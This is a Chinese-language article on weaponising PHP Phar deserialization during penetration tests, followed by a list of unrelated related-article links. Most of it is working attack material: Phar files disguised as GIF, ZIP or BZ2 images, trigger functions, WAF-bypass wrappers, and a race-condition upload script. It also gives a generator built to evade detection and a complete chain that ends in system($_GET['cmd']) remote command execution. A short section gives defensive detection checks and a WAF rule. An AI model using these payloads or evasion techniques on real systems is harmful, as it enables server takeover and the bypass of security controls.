当前位置: 首页 > news >正文

PHP Phar 反序列化实战:3种文件格式伪装与5个关键函数触发分析

PHP Phar反序列化实战:3种文件格式伪装与5个关键函数触发分析

1. 渗透测试中的Phar武器化思路

在真实的渗透测试场景中,PHP Phar反序列化漏洞往往比传统反序列化更具杀伤力。与常规反序列化不同,Phar攻击不需要直接调用unserialize()函数,而是通过文件系统操作间接触发。这种特性使其成为绕过安全防护的利器。

攻击链的典型构成

  1. 文件上传点突破:通过精心构造的Phar文件上传
  2. 伪协议触发:利用存在缺陷的文件操作函数
  3. 魔术方法跳板:通过__destruct()等魔术方法执行代码

我们来看一个典型的攻击场景:某CMS系统允许用户上传头像图片,但仅允许GIF格式。攻击者可以这样突破:

// 生成伪装成GIF的Phar文件 $phar = new Phar('exploit.phar'); $phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>'); $phar->addFromString('test.txt', 'test'); $phar->setMetadata(new DangerousClass());

2. 三种文件格式伪装技术

2.1 GIF格式伪装

这是最基础的伪装方式,通过添加GIF文件头实现:

$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');

绕过检测要点

  • 文件头必须包含GIF89a或GIF87a
  • 文件内容需通过上传检测
  • 文件扩展名需为.gif

2.2 ZIP格式深度伪装

当系统检测文件内容时,简单的文件头可能不够。此时可采用ZIP格式伪装:

// 生成标准ZIP文件 $zip = new ZipArchive(); $zip->open('exploit.zip', ZipArchive::CREATE); $zip->addFromString('test.txt', 'test'); $zip->setArchiveComment(serialize($payload)); $zip->close(); // 重命名为图片格式 rename('exploit.zip', 'exploit.jpg');

触发时使用:

phar://zip://exploit.jpg%23test

2.3 BZ2压缩伪装

对于严格检测文件魔数的系统,可采用BZ2压缩:

bzip2 -k exploit.phar mv exploit.phar.bz2 exploit.jpg

触发方式:

phar://compress.bzip2://exploit.jpg/test.txt

3. 五种关键触发函数分析

3.1 file_get_contents()

触发条件

  • 参数完全或部分可控
  • 无协议黑名单限制

典型漏洞代码

$content = file_get_contents($_GET['url']);

利用方式

file_get_contents('phar:///path/to/exploit.phar');

3.2 file_exists()

特殊优势

  • 常用于权限检查等关键位置
  • 通常参数控制更宽松

实战案例

if(file_exists($_GET['template'])) { include($_GET['template']); }

3.3 is_dir()检测绕过

独特价值

  • 常用于目录存在性检查
  • 可结合路径穿越使用

攻击示例

is_dir('phar:///var/www/uploads/exploit.jpg/../');

3.4 stat()家族函数

包含函数

  • stat()
  • lstat()
  • fstat()

利用特点

  • 常用于文件属性检查
  • 可绕过常规安全审计

3.5 文件哈希计算函数

可利用函数

  • md5_file()
  • sha1_file()
  • hash_file()

特殊场景

  • 文件校验环节
  • 文件去重功能

4. 高级绕过技术

4.1 WAF绕过技巧

当phar://被过滤时,可尝试:

// 编码绕过 php://filter/convert.base64-encode/resource=phar://exploit.phar // 多重包装 compress.zlib://phar:///exploit.phar

4.2 无文件写入技巧

通过条件竞争在临时目录触发:

import threading import requests def upload(): while True: requests.post(target, files={'file': ('test.phar', phar_data)}) def trigger(): while True: requests.get(target + '?file=phar:///tmp/phpXXXXXX') threading.Thread(target=upload).start() threading.Thread(target=trigger).start()

5. 实战工具与检测防御

5.1 Phar生成工具改进

传统Phar生成方式容易被检测,改进方案:

function generateEvilPhar($outputPath, $payload) { $phar = new Phar($outputPath); $phar->startBuffering(); // 随机化stub $stubs = [ 'GIF89a', '\x89PNG\r\n\x1a\n', '\xFF\xD8\xFF\xE0' // JPEG ]; $stub = $stubs[rand(0,2)].'<?php __HALT_COMPILER(); ?>'; $phar->setStub($stub); $phar->addFromString(md5(rand()).'.txt', 'test'); $phar->setMetadata($payload); // 添加垃圾数据干扰检测 for($i=0; $i<5; $i++) { $phar->addFromString('res_'.$i.'.txt', str_repeat(rand(), 100)); } $phar->stopBuffering(); }

5.2 防御检测方案

服务器端检测

function isSafeFile($file) { // 检查实际文件内容 $content = file_get_contents($file); if(strpos($content, '__HALT_COMPILER') !== false) { return false; } // 检查文件签名 $finfo = new finfo(FILEINFO_MIME); return strpos($finfo->file($file), 'image/') === 0; }

WAF规则示例

SecRule FILES "@rx (?i)__HALT_COMPILER" \ "id:1000,phase:2,deny,msg:'Phar file detected'"

6. 漏洞利用完整案例

假设目标系统存在以下代码:

// upload.php if($_FILES['file']['type'] === 'image/jpeg') { move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/'.$_FILES['file']['name']); } // preview.php $image = $_GET['file']; if(file_exists($image)) { header('Content-Type: image/jpeg'); readfile($image); }

攻击步骤

  1. 生成恶意Phar:
class Exploit { function __destruct() { system($_GET['cmd']); } } $phar = new Phar('exploit.phar'); $phar->setStub("\xFF\xD8\xFF\xE0".'<?php __HALT_COMPILER(); ?>'); $phar->addFromString('test.jpg', 'test'); $phar->setMetadata(new Exploit());
  1. 上传并重命名:
mv exploit.phar exploit.jpg
  1. 触发漏洞:
/preview.php?file=phar://uploads/exploit.jpg&cmd=id

7. 不同PHP版本的影响

版本差异对比表

PHP版本特性变化影响程度
5.3-7.4完全支持高危
8.0+元数据需手动反序列化中危
8.1+默认禁用phar写操作低危

版本检测技巧

$version = explode('-', phpversion())[0]; if(version_compare($version, '8.0.0') >= 0) { // 需要特殊处理 }
http://www.jsqmd.com/news/1149785/

相关文章:

  • Webpack 5 源码泄露实战:3种检测方法与2款还原工具对比
  • 如何在Linux上配置动态桌面:3步搞定Wallpaper Engine终极指南
  • PNG文件结构隐写排查指南:从IHDR到IEND的10个关键区块分析
  • Walmart US/CA 双站点 API 对接对比:3 种认证方式与 5 个常见错误排查
  • DVWA 命令注入漏洞深度解析:从 Low 到 High 的 4 种防御绕过技巧
  • Apache Flink 1.9.1 漏洞防御:4 种加固方案对比与实战配置指南
  • GDB + objdump 实战缓冲区溢出:3步定位栈帧与覆盖返回地址(附32字节攻击串构造)
  • Windows 逆向排查:Cheat Engine 7.5 搜索无结果的5种常见原因与解决方案
  • 交友平台XSS漏洞实战:从闭合<textarea>到Cookie窃取的3步完整复现
  • SQL 慢查询治理:慢日志不是收集完就算完事了
  • Apache Flink <=1.9.1 未授权RCE漏洞:从 Jar 上传到系统权限获取的 3 步攻击链分析
  • 终极网盘高速下载解决方案:九大平台直链获取完整指南
  • C 语言数组越界漏洞实战:利用整数溢出绕过边界检查获取 Shell
  • XSS-Labs Level19 Flash XSS 解析:FFdec反编译与ActionScript 2.0漏洞利用
  • Honey Select 2游戏增强补丁:终极汉化与功能扩展完整指南
  • XSS 漏洞实战:交友平台靶场通关,3步获取管理员Cookie
  • 终极指南:如何彻底禁用Windows Defender并释放系统性能的3大优势
  • 线上虚拟时装秀观看转化统计程序,对比线下实体秀订单签约转化差异。
  • BilibiliDown:三分钟掌握B站视频下载的完整指南
  • FaceDetailer节点种子参数缺失问题的深度技术解析
  • PHP 反序列化字符逃逸实战:0CTF 2016 piapiapia 漏洞 34 字符构造与数组绕过
  • 安卓逆向签名破解:从Fiddler抓包到JPype调用JAR还原Signature算法
  • OWASP ZAP 2.15.0 进阶模糊测试:3种Payload策略破解DVWA高安全等级
  • PUBG Mobile Radar 1.2 海岛图失效修复:x32dbg 逆向分析 3 步定位地图名偏移
  • Dependency-Check vs Grype:3大维度对比评测,离线扫描准确率与性能实测
  • 腾讯乐加固 v2.10.6 脱壳实战:3步定位并Hook关键Application入口
  • m3u8-downloader:让视频下载像喝水一样简单的跨平台神器
  • 企业微信API 3种消息模板对比:文本、图文与模板卡片的发送效率实测
  • JMeter数据库性能压测实战:从连接配置到瓶颈定位
  • STM32G071RB与AD7490构建高精度数据采集系统